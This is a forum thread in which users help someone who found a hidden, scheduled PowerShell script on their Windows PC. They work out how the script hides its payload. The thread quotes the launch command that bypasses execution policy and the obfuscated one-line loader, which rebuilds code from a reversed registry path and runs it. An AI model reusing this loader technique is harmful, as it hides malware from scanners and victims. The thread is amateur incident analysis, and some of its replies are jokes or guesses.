So i tried what others anon said about using Task scheduler and event viewer and i noticed a weird powershell command that was running after 1 hr everytime i boot up my pc , 



Engine state is changed from None to Available. 



Details: 

 NewEngineState=Available

 PreviousEngineState=None



 SequenceNumber=13



 HostName=ConsoleHost

 HostVersion=5.1.22621.963

 HostId=91085eaf-c5fb-44db-8c68-a09b838b4231

 HostApplication=powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\WINDOWS\System32\F64D.tmp\F64E.tmp.ps1

 EngineVersion=5.1.22621.963

 RunspaceId=53ba6223-8ec4-431a-9773-deaf7a0247ff

 PipelineId=

 CommandName=

 CommandType=

 ScriptName=

 CommandPath=

 CommandLine=



I tried to scan that file in virustotal and that flagging it as trojan meanwhile what should i do bros

>>93057421 (OP)

Can any other windows bros can confirm is that file is malicious or not

>C:\WINDOWS\System32\F64D.tmp\F64E.tmp.ps1



What's in this file?

>>93057421 (OP)

>uses windows

ya looks like you got a virus. install linux to remove it.

>>93057421 (OP)

>what should i do bros

install gentoo

>>93057421 (OP)

Reinstall Windows just in case? I can't find anything but some malware does name their files as "tmp.ps1".

https://www.joesandbox.com/analysis/43885/0/executive

https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.VBS.POWLOAD.AB/

I asked Chat GPT and it could be a powershell file that downloads malware on your PC, and then it executes it.You should backup your stuff and reinstall Windows just in case. I don't mean to scare you or anything.

>>93057421 (OP)

PS1 is likely a powershell script file, if you open it in a plaintext editor you might be able to see exactly what it is doing.

>>93057421 (OP)

There's no way to be completely sure but it does seem suspicious. Just backup all your shit, make an install USB, format your C: drive and reinstall Windows. It's annoying but you should be up and running pretty fast.

Here are the contents of that file :- $seFQlLoqdtvIsm=[ScriptBlock]; icm ($seFQlLoqdtvIsm::Create([string]::Join('', ((gp (([regex]::Matches('9VN0Y7ytinamuH\ERAWTFOS\:MLKH','.','RightToLeft') | ForEach {$_.value}) -join '')).'5RkdtEbTk' | % { [char]$_ }))))

Open regedit. What's the contents of HKEY_LOCAL_MACHINE:\SOFTWARE\Humanity7Y0NV9

>9VN0Y7ytinamuH\ERAWTFOS\:MLKH

This is clearly a registry address backwards.

HKLM:\SOFTWARE\Humanity7Y0NY9

It looks like the values of the keys in that registry location when joined together will make the script/command that is run by the icm command.

That's text written a binary string. Can you open that value in the registry with the editor and take a screenshot? Or paste it here.



But mate, at this point you have to wonder why is it trying to execute code written to the registry, because I'm pretty sure that's what | % { [char]$_ } is doing. Your machine is glowing.

it's SO over

This?

It's probably just a way of obfuscating the core of the malware so that it won't get picked up by virus scanners.

It's just some hex in a registry key.

You're fucked mate.

Copy all the plain text from the right side into pastebin.

What does it says bros

Ok

Ok

Down this route involving memory streams usually involves process injection or executing something in memory

https://pastebin.com/xygtNgmK

Here desu

First 30 or so lines it's getting information from TXT dns records for use later in execution. Needs a hostname in order to do so.

I can't understand all of this but it seems to change stuff in your dns and uses Microsoft's Cryptography service. Looks kinda sketchy. Idk if a legitimate program would have to do this. Maybe some other anons can give some more insight.

i hope your pc is off. it might be encrypting your drives
